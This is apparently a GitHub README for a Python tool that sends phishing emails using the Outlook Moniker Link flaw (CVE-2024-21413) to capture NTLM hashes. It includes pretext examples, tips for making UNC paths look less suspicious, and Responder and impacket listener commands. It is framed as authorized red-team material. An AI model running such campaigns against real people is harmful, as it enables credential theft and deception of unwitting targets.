BLIND TRUST - Moniker Link Phishing Engagement Framework

A security research tool for simulating targeted phishing campaigns using the CVE-2024-21413 Moniker Link vulnerability. Designed for authorized red team operations, penetration testing, and security awareness training.

Overview

BLIND TRUST is a phishing engagement framework that helps security teams understand and test their defenses against sophisticated email-based attacks. It leverages the Moniker Link technique to bypass Outlook's Protected View, providing a realistic attack simulation that organizations can use to strengthen their security posture.

This tool automates the end-to-end campaign workflow—from configuration through email delivery—while maintaining operational security through customizable UNC paths and flexible pretext options.

Purpose

Organizations need to understand real attack techniques to defend effectively. TRUST enables:

• Red team operations - Conduct authorized phishing campaigns as part of security assessments
• Security awareness training - Demonstrate real-world attack vectors to employees
• Vulnerability validation - Test detection capabilities against known techniques
• Defense research - Understand Moniker Link behavior in your environment

Features

• Multi-target campaigns - Send phishing emails to multiple targets with a single configuration
• Flexible target loading - Load targets via interactive input or wordlist-style .txt files
• Customizable pretext - Control email subject, sender display name, and body text
• Discrete UNC paths - Customize the Moniker Link path to appear realistic (domain, share name, exploit name)
• SMTP authentication - Support for various SMTP servers with TLS negotiation
• Automatic retry logic - Exponential backoff for transient SMTP failures
• Campaign reporting - Per-target delivery status with aggregated results
• No hardcoded signatures - Eliminate obvious indicators that expose the technique

Installation

Requirements

• Python 3.7+
• Standard library only (no external dependencies)

Setup

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

Requirements

The tool uses only Python standard library modules:

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

No external packages required—runs anywhere with Python 3.7+.

Quick Start

python3 TRUST_v7.py

Follow the interactive wizard through 5 steps:

1. Attacker Credentials - SMTP account for sending emails
2. SMB Listener Setup - IP address where targets will connect
3. Target Configuration - Load victims from input or wordlist file
4. Email Customization - Subject, sender name, and body text
5. Payload Customization - UNC path host, share, and exploit names

Usage Examples

Example 1: Interactive Input (Small Campaign)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Example 2: Wordlist Loading (Large Campaign)

Create targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Then run:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Example 3: Realistic Finance Pretext

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Configuration Explained

STEP 1: Attacker Credentials

• Attacker email: The email address used to send phishing emails (typically a compromised or spoofed account)
• SMTP password: Authentication credential for the mail server

STEP 2: SMB Listener

• SMB listener IP: The IP address where your SMB listener (e.g., Responder, impacket-smbserver) is running. Targets will attempt to connect here when they click the Moniker Link.

STEP 3: Target Configuration

Two options:

• Interactive input: Paste emails directly (comma or newline separated)
• Wordlist file: Load from a .txt file with one email per line, comments starting with #

STEP 4: Email Customization

• Subject: Email subject line (avoid CVE references; keep it business-like)
• From display name: The friendly name shown in the email header
• Email body: The pretext text explaining why targets should click the link

STEP 5: Payload Customization

This is where you avoid obvious signatures:

• UNC host: Use a realistic domain or subdomain (e.g., finance-internal.company.com) instead of just an IP
• UNC share: Realistic share name like quarterly, updates, documents
• UNC exploit: Realistic file name like q3_report, security_patch, training_document

Result: Instead of the obvious \\192.168.1.100\share!exploit, you get something like file://finance-internal.company.com/quarterly!q3_report.

Execution Flow

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

How It Works

The Vulnerability

CVE-2024-21413 (Moniker Link) is an Outlook vulnerability that allows embedding file:// URLs with a ! character. When a user clicks such a link, Outlook attempts to access the UNC path, triggering an NTLM authentication attempt even in Protected View mode.

Attack Flow

1. User receives an email with a Moniker Link
2. Email appears legitimate (thanks to your custom pretext)
3. User clicks the link
4. Outlook attempts to access \\host\share!exploit
5. The ! character bypasses Protected View
6. User's system authenticates to your SMB listener
7. You capture the NTLM hash or credential information

What This Tool Does

TRUST automates the delivery phase:

• Crafts realistic emails with custom pretext
• Injects the Moniker Link into HTML payload
• Manages SMTP connections and retries
• Handles multiple targets efficiently
• Provides campaign reporting

Troubleshooting

Issue: "SMTP attempt 3 failed: [SMTP: 535]"

Solution: Verify SMTP credentials. For Gmail, use an app-specific password. For corporate mail, check with your SMTP administrator.

Issue: "TLS not supported. Proceeding without encryption."

Solution: Normal for some SMTP servers. The connection will proceed without TLS encryption.

Issue: "Invalid email: victim@"

Solution: Ensure emails in wordlist files are complete and valid format ([email protected]).

Issue: "Recipient rejected"

Solution: The email address doesn't exist on the target server, or the server is blocking relay from your account.

Issue: "File not found: targets.txt"

Solution: Verify the file path is correct and the file exists in your current directory.

FAQ

Q: Is this tool legal to use? A: Only with explicit written authorization from the organization you're testing. Unauthorized phishing is illegal. Always have a scope of work and rules of engagement in writing.

Q: Can this bypass advanced email filters? A: It's a realistic simulation, but modern email security may still catch it. That's the point—if your organization's filters fail against this, you have a problem to solve.

Q: Why customize the UNC path? A: The original \\IP\share!exploit is a dead giveaway. Real attackers use realistic paths. Your security team should catch both obvious and subtle indicators.

Q: Can I use this for training employees? A: Yes. After authorized testing, use sanitized campaign examples in security awareness training to show employees real attack techniques.

Q: Does this capture credentials? A: No. TRUST only delivers the email. You need a separate SMB listener (Responder, impacket-smbserver, etc.) to capture NTLM hashes when targets click the link.

Q: How do I set up an SMB listener? A: Use Responder on Linux or impacket-smbserver:

# Responder (captures hashes)
sudo responder -i eth0 -v

# impacket-smbserver (file server simulation)
impacket-smbserver Share /tmp -smb2support

Limitations

• No credential capture built-in: You provide the SMB listener; TRUST only delivers emails
• No campaign persistence: Results are printed to console; redirect stdout to save
• No targeting intelligence: You must gather target email addresses yourself
• No email obfuscation: While UNC paths are customizable, email headers are standard SMTP
• No multi-threading: Emails are sent sequentially for reliability

Disclaimer

This tool is for authorized security testing only.

• You must have explicit written permission to conduct phishing campaigns
• Unauthorized use is illegal and unethical
• Use only in controlled environments against systems you own or have permission to test
• Always follow applicable laws and regulations
• The authors assume no liability for misuse or damage caused by this tool

By using TRUST, you acknowledge that you understand the legal implications and have proper authorization.

Recommendations for Responsible Use

1. Get written authorization - Obtain signed rules of engagement before any campaign
2. Scope your targets - Define which systems and people are in scope
3. Plan remediation - Have a training plan ready for phished employees
4. Document results - Keep detailed records of the assessment
5. Report findings - Provide feedback to stakeholders on what was effective
6. Respect privacy - Don't use captured data outside the security program

Future Improvements

• Campaign persistence and logging to file
• Template system for email pretext
• Integration with LDAP for target enumeration
• HTML template rendering for more sophisticated emails
• Campaign scheduling (time-based delivery)
• Reporting dashboard with metrics and analytics
• Support for other phishing techniques beyond Moniker Link

License

This project is released under the MIT License with the addition of a usage restriction. See LICENSE for details.

Credits and Attribution

This project is based on and inspired by the original CVE-2024-21413 research and implementation by CMNatic (https://github.com/cmnatic).

CMNatic deserves full credit for:

• Original vulnerability research and proof-of-concept
• Core technical implementation
• Initial public documentation

This repository represents a modified and extended version of that work, with enhancements including:

• Multi-target campaign support
• Customizable email pretext
• Discrete UNC path customization
• Wordlist-based target loading
• Improved SMTP handling and retry logic
• Comprehensive documentation

See CREDITS.md for more detailed attribution.

Author

H1SS - Extended and maintained this version for security research and authorized testing purposes.

Contributing

Contributions are welcome. Please ensure any changes:

• Maintain the tool's educational focus
• Include appropriate documentation
• Follow responsible disclosure practices
• Don't introduce external dependencies

See CONTRIBUTING.md for guidelines.

Support

For issues, questions, or suggestions, open an issue on GitHub.

Remember: This tool is a research project. Use responsibly, legally, and ethically.